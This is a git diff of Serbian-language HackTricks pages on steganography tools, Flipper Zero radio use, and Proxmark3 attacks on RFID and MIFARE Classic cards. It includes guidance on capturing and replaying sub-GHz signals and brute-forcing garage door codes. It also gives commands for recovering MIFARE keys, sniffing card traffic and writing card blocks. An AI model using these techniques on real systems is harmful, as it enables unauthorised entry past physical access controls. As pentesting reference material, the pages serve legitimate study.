Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,17 +6,17 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -40,7 +40,7 @@ foremost -i file # Extracts data
```
### **Exiftool**
Pomaže pri pregledu metapodataka datoteke, dostupan [ovde](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Pomaže u pregledu metapodataka datoteke, dostupan [ovde](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
@ -52,7 +52,7 @@ exiv2 file # Shows the metadata
```
### **Fajl**
Identifikujte tip fajla sa kojim se bavite.
Identifikujte tip fajla sa kojim radite.
### **Niske**
@ -88,20 +88,20 @@ Nevidljivi znakovi u navodno praznim prostorima mogu sakriti informacije. Da bis
```bash
./magick identify -verbose stego.jpg
```
Da biste pokušali popravku oštećene slike, dodavanje metapodataka u komentar može pomoći:
Da biste pokušali popraviti oštećenu sliku, dodavanje metapodataka u komentaru može pomoći:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide za skrivanje podataka**
Steghide olakšava skrivanje podataka unutar `JPEG, BMP, WAV i AU` datoteka, sposoban je da ugradi i izvuče šifrovane podatke. Instalacija je jednostavna korišćenjem `apt`, a njen [izvorni kod je dostupan na GitHub-u](https://github.com/StefanoDeVuono/steghide).
Steghide olakšava skrivanje podataka unutar `JPEG, BMP, WAV i AU` datoteka, sposoban je za ugradnju i izvlačenje šifrovanih podataka. Instalacija je jednostavna korišćenjem `apt`, a njen [izvorni kod je dostupan na GitHub-u](https://github.com/StefanoDeVuono/steghide).
**Komande:**
* `steghide info file` otkriva da li datoteka sadrži skrivene podatke.
* `steghide extract -sf file [--passphrase password]` izvlači skrivene podatke, lozinka je opcionalna.
Za web bazirano izvlačenje, posetite [ovaj sajt](https://futureboy.us/stegano/decinput.html).
Za web bazirano izvlačenje, posetite [ovaj veb sajt](https://futureboy.us/stegano/decinput.html).
**Bruteforce napad sa Stegcracker-om:**
@ -109,13 +109,13 @@ Za web bazirano izvlačenje, posetite [ovaj sajt](https://futureboy.us/stegano/d
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg za PNG i BMP fajlove**
### **zsteg za PNG i BMP datoteke**
zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP fajlovima. Instalacija se vrši putem `gem install zsteg`, sa [izvorom na GitHub-u](https://github.com/zed-0xff/zsteg).
zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP datotekama. Instalacija se vrši putem `gem install zsteg`, a izvor možete pronaći na [GitHub-u](https://github.com/zed-0xff/zsteg).
**Komande:**
* `zsteg -a file` primenjuje sve metode detekcije na fajlu.
* `zsteg -a file` primenjuje sve metode detekcije na datoteku.
* `zsteg -E file` specificira payload za ekstrakciju podataka.
### **StegoVeritas i Stegsolve**
@ -126,26 +126,26 @@ zsteg se specijalizuje za otkrivanje skrivenih podataka u PNG i BMP fajlovima. I
### **FFT za Otkrivanje Skrivenog Sadržaja**
Tehnike Brze Furijeove Transformacije (FFT) mogu otkriti skriveni sadržaj u slikama. Korisni resursi uključuju:
Tehnike brze Furijeove transformacije (FFT) mogu otkriti skriveni sadržaj u slikama. Korisni resursi uključuju:
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic na GitHub-u](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy za Audio i Image Fajlove**
### **Stegpy za Audio i Image Datoteke**
Stegpy omogućava ugradnju informacija u image i audio fajlove, podržavajući formate poput PNG, BMP, GIF, WebP i WAV. Dostupan je na [GitHub-u](https://github.com/dhsdshdhk/stegpy).
Stegpy omogućava ugradnju informacija u slikovne i audio datoteke, podržavajući formate poput PNG, BMP, GIF, WebP i WAV. Dostupan je na [GitHub-u](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck za Analizu PNG Fajlova**
### **Pngcheck za Analizu PNG Datoteka**
Za analizu PNG fajlova ili proveru njihove autentičnosti, koristite:
Za analizu PNG datoteka ili proveru njihove autentičnosti, koristite:
```bash
apt-get install pngcheck
pngcheck stego.png
```
### **Dodatni alati za analizu slika**
Za dalje istraživanje, posetite:
Za dalje istraživanje, razmotrite posetu:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Analiza nivoa greške slike](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@ -163,11 +163,11 @@ Steghide je svestran alat dizajniran za skrivanje podataka u JPEG, BMP, WAV i AU
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Ovaj alat je kompatibilan sa različitim formatima, uključujući PNG, BMP, GIF, WebP i WAV. Za više informacija, pogledajte [odeljak Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Ovaj alat je kompatibilan sa različitim formatima uključujući PNG, BMP, GIF, WebP i WAV. Za više informacija, pogledajte [odeljak o Stegpy-u](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg je ključan za procenu integriteta audio datoteka, ističući detaljne informacije i otkrivanje bilo kakvih neslaganja.
ffmpeg je ključan za procenu integriteta audio datoteka, ističući detaljne informacije i otkrivajući eventualne neslaganja.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
@ -185,13 +185,13 @@ Deepsound omogućava šifrovanje i otkrivanje informacija unutar zvučnih fajlov
### **Sonic Visualizer**
Neprocenjiv alat za vizuelnu i analitičku inspekciju audio fajlova, Sonic Visualizer može otkriti skrivene elemente koji nisu detektovani na druge načine. Posetite [zvaničnu veb stranicu](https://www.sonicvisualiser.org/) za više informacija.
Neprocenjiv alat za vizuelnu i analitičku inspekciju audio fajlova, Sonic Visualizer može otkriti skrivene elemente koji nisu detektovani na druge načine. Posetite [zvanični sajt](https://www.sonicvisualiser.org/) za više informacija.
### **DTMF Tones - Dial Tones**
Detekcija DTMF tonova u audio fajlovima može se postići korišćenjem online alata poput [ovog DTMF detektora](https://unframework.github.io/dtmf-detect/) i [DialABC](http://dialabc.com/sound/detect/index.html).
## **Druge Tehnike**
## **Other Techniques**
### **Binary Length SQRT - QR Code**
@ -215,7 +215,7 @@ Za prevod Brailove azbuke, [Branah Braille Translator](https://www.branah.com/br
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -225,7 +225,7 @@ Za prevod Brailove azbuke, [Branah Braille Translator](https://www.branah.com/br
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,9 +24,9 @@ Sa [**Flipper Zero**](https://flipperzero.one/) možete:
* **Slušati/Snimati/Ponavljati radio frekvencije:** [**Sub-GHz**](fz-sub-ghz.md)
* **Čitati/Snimati/Emulirati NFC kartice:** [**NFC**](fz-nfc.md)
* **Čitati/Snimati/Emulirati 125kHz tagove:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Čitati/Snimati/Emulirati 125kHz oznake:** [**125kHz RFID**](fz-125khz-rfid.md)
* **Čitati/Snimati/Slati infracrvene signale:** [**Infrared**](fz-infrared.md)
* **Čitati/Snimati/Emulirati iButton-e:** [**iButton**](../ibutton.md)
* **Čitati/Snimati/Emulirati iButtons:** [**iButton**](../ibutton.md)
* **Koristiti ga kao Bad USB**
* **Koristiti ga kao sigurnosni ključ (U2F)**
* **Igrati Zmiju**
@ -35,7 +35,7 @@ Sa [**Flipper Zero**](https://flipperzero.one/) možete:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -43,7 +43,7 @@ Sa [**Flipper Zero**](https://flipperzero.one/) možete:
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -54,17 +54,17 @@ Da biste odredili frekvenciju daljinskog upravljača, uradite sledeće:
### Čitanje
{% hint style="info" %}
Pronađite informacije o korišćenoj frekvenciji (takođe još jedan način da se pronađe koja frekvencija se koristi)
Pronađite informacije o korišćenoj frekvenciji (takođe još jedan način da se pronađe korišćena frekvencija)
{% endhint %}
Opcija **Čitanje** **sluša na konfigurisanoj frekvenciji** na naznačenoj modulaciji: 433.92 AM po podrazumevanim postavkama. Ako se **nešto pronađe** prilikom čitanja, **informacije se prikazuju** na ekranu. Ove informacije mogu biti korisne za replikaciju signala u budućnosti.
Opcija **Čitanje** **sluša na konfigurisanoj frekvenciji** na naznačenoj modulaciji: 433.92 AM prema podrazumevanim postavkama. Ako se **nešto pronađe** prilikom čitanja, **informacije se prikazuju** na ekranu. Ove informacije mogu biti korisne za replikaciju signala u budućnosti.
Dok se koristi Čitanje, moguće je pritisnuti **levi taster** i **konfigurisati ga**.\
Dok se koristi Čitanje, moguće je pritisnuti **levo dugme** i **konfigurisati ga**.\
Trenutno ima **4 modulacije** (AM270, AM650, FM328 i FM476), i **nekoliko relevantnih frekvencija** je sačuvano:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Možete postaviti **bilo koju koja vas zanima**, međutim, ako niste sigurni koja frekvencija bi mogla biti ona koju koristi daljinski upravljač koji imate, **postavite Hopping na ON** (Isključeno po podrazumevanim postavkama), i pritisnite dugme nekoliko puta dok Flipper ne uhvati signal i pruži vam informacije koje su vam potrebne da postavite frekvenciju.
Možete postaviti **bilo koju koja vas zanima**, međutim, ako niste sigurni koja frekvencija bi mogla biti korišćena od strane daljinskog upravljača koji imate, **postavite Hopping na ON** (Isključeno po podrazumevanim postavkama), i pritisnite dugme nekoliko puta dok Flipper ne uhvati signal i pruži vam informacije koje su vam potrebne da postavite frekvenciju.
{% hint style="danger" %}
Prebacivanje između frekvencija traje neko vreme, stoga signali koji se prenose u trenutku prebacivanja mogu biti propušteni. Za bolji prijem signala, postavite fiksnu frekvenciju određenu Analizatorom frekvencija.
@ -78,11 +78,11 @@ Ukradite (i ponovo reprodukujte) signal na konfigurisanoj frekvenciji
Opcija **Čitanje sirovih podataka** **snima signale** poslate na slušajućoj frekvenciji. Ovo se može koristiti za **ukradanje** signala i **ponovno slanje**.
Podrazumevano, **Čitanje sirovih podataka je takođe na 433.92 u AM650**, ali ako ste sa opcijom Čitanje pronašli da vas zanima signal na **drugoj frekvenciji/modulaciji, takođe je možete izmeniti** pritiskom na levo dugme (dok ste unutar opcije Čitanje sirovih podataka).
Podrazumevano, **Čitanje sirovih podataka je takođe na 433.92 u AM650**, ali ako ste sa opcijom Čitanje pronašli da vas zanima signal na **drugoj frekvenciji/modulaciji, takođe to možete izmeniti** pritiskom na levo dugme (dok ste unutar opcije Čitanje sirovih podataka).
### Brute-Force
Ako znate protokol koji se koristi na primer za garažna vrata, moguće je **generisati sve kodove i poslati ih sa Flipper Zero uređajem.** Ovo je primer koji podržava opšte poznate tipove garaža: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
Ako znate protokol koji se koristi na primer za garažna vrata, moguće je **generisati sve kodove i poslati ih sa Flipper Zero uređajem.** Ovo je primer koji podržava opšte uobičajene tipove garaža: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Ručno dodavanje
@ -94,20 +94,20 @@ Dodajte signale iz konfigurisane liste protokola
| Princeton\_433 (radi sa većinom statičkih kodnih sistema) | 433.92 | Statički |
| -------------------------------------------------------- | ------ | -------- |
| Nice Flo 12bit\_433 | 433.92 | Statički |
| Nice Flo 24bit\_433 | 433.92 | Statički |
| CAME 12bit\_433 | 433.92 | Statički |
| CAME 24bit\_433 | 433.92 | Statički |
| Linear\_300 | 300.00 | Statički |
| CAME TWEE | 433.92 | Statički |
| Gate TX\_433 | 433.92 | Statički |
| DoorHan\_315 | 315.00 | Dinamički |
| DoorHan\_433 | 433.92 | Dinamički |
| LiftMaster\_315 | 315.00 | Dinamički |
| LiftMaster\_390 | 390.00 | Dinamički |
| Security+2.0\_310 | 310.00 | Dinamički |
| Security+2.0\_315 | 315.00 | Dinamički |
| Security+2.0\_390 | 390.00 | Dinamički |
| Nice Flo 12bit\_433 | 433.92 | Statički |
| Nice Flo 24bit\_433 | 433.92 | Statički |
| CAME 12bit\_433 | 433.92 | Statički |
| CAME 24bit\_433 | 433.92 | Statički |
| Linear\_300 | 300.00 | Statički |
| CAME TWEE | 433.92 | Statički |
| Gate TX\_433 | 433.92 | Statički |
| DoorHan\_315 | 315.00 | Dinamički |
| DoorHan\_433 | 433.92 | Dinamički |
| LiftMaster\_315 | 315.00 | Dinamički |
| LiftMaster\_390 | 390.00 | Dinamički |
| Security+2.0\_310 | 310.00 | Dinamički |
| Security+2.0\_315 | 315.00 | Dinamički |
| Security+2.0\_390 | 390.00 | Dinamički |
### Podržani prodavci Sub-GHz
Proverite listu na [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
@ -128,6 +128,20 @@ Dobijte dBm vrednosti sačuvanih frekvencija
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,15 +22,15 @@
## Napadi na RFID sisteme sa Proxmark3
Prva stvar koju trebate uraditi je da imate [**Proxmark3**](https://proxmark.com) i [**instalirate softver i njegove zavisnosti**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
Prvo što trebate uraditi je imati [**Proxmark3**](https://proxmark.com) i [**instalirati softver i njegove zavisnosti**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Napadi na MIFARE Classic 1KB
Ima **16 sektora**, svaki od njih ima **4 bloka** i svaki blok sadrži **16B**. UID se nalazi u sektoru 0 bloku 0 (i ne može se menjati).\
Da biste pristupili svakom sektoru, potrebne su vam **2 ključa** (**A** i **B**) koji se čuvaju u **bloku 3 svakog sektora** (sektorski trailer). Sektorski trailer takođe čuva **pristupne bitove** koji daju dozvole za **čitanje i pisanje** na **svakom bloku** koristeći 2 ključa.\
Da biste pristupili svakom sektoru, potrebne su vam **2 ključa** (**A** i **B**) koji se čuvaju u **bloku 3 svakog sektora** (sektorski blok). Sektor blok takođe čuva **pristupne bitove** koji daju dozvole za **čitanje i pisanje** na **svakom bloku** koristeći 2 ključa.\
2 ključa su korisna za davanje dozvola za čitanje ako znate prvi ključ i pisanje ako znate drugi ključ (na primer).
Mogu se izvesti nekoliko napada.
Mogu se izvesti nekoliko napada
```bash
proxmark3> hf mf #List attacks
@ -49,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3 omogućava obavljanje drugih radnji poput **prisluškivanja** komunikacije **Tag to Reader** kako bi se pokušalo pronaći osetljive podatke. Na ovom uređaju možete samo špijunirati komunikaciju i izračunati korišćeni ključ jer su **kriptografske operacije koje se koriste slabe** i znajući običan i šifrovan tekst možete ga izračunati (`mfkey64` alat).
Proxmark3 omogućava obavljanje drugih radnji poput **prisluškivanja** komunikacije **Oznaka ka čitaču** kako bi se pokušalo pronaći osetljive podatke. Na ovom uređaju možete samo špijunirati komunikaciju i izračunati korišćeni ključ jer su **kriptografske operacije koje se koriste slabe** i znajući običan i šifrovan tekst možete ga izračunati (`mfkey64` alat).
### Sirove Komande
Sistemi IoT-a ponekad koriste **nebrendirane ili nekomercijalne oznake**. U tom slučaju, možete koristiti Proxmark3 za slanje prilagođenih **sirovih komandi oznakama**.
Sistemi IoT-a ponekad koriste **nebrendirane ili nekomercijalne oznake**. U tom slučaju, možete koristiti Proxmark3 da biste poslali prilagođene **sirove komande oznakama**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -63,11 +63,11 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
Sa ovim informacijama možete pokušati da pronađete informacije o kartici i načinu komunikacije sa njom. Proxmark3 omogućava slanje sirovih komandi poput: `hf 14a raw -p -b 7 26`
Sa ovim informacijama možete pokušati da pronađete informacije o kartici i načinu komunikacije s njom. Proxmark3 omogućava slanje sirovih komandi poput: `hf 14a raw -p -b 7 26`
### Skripte
Proxmark3 softver dolazi sa prednapunjenom listom **automatizovanih skripti** koje možete koristiti za obavljanje jednostavnih zadataka. Da biste dobili punu listu, koristite komandu `script list`. Zatim koristite komandu `script run`, praćenu imenom skripte:
Proxmark3 softver dolazi sa prednapunjenim listom **automatizovanih skripti** koje možete koristiti za obavljanje jednostavnih zadataka. Da biste dobili punu listu, koristite komandu `script list`. Zatim koristite komandu `script run`, praćenu imenom skripte:
```
proxmark3> script run mfkeys
```
@ -75,16 +75,16 @@ Možete kreirati skriptu za **fuzziranje čitača oznaka**, tako što ćete kopi
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi** ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -16,45 +16,45 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
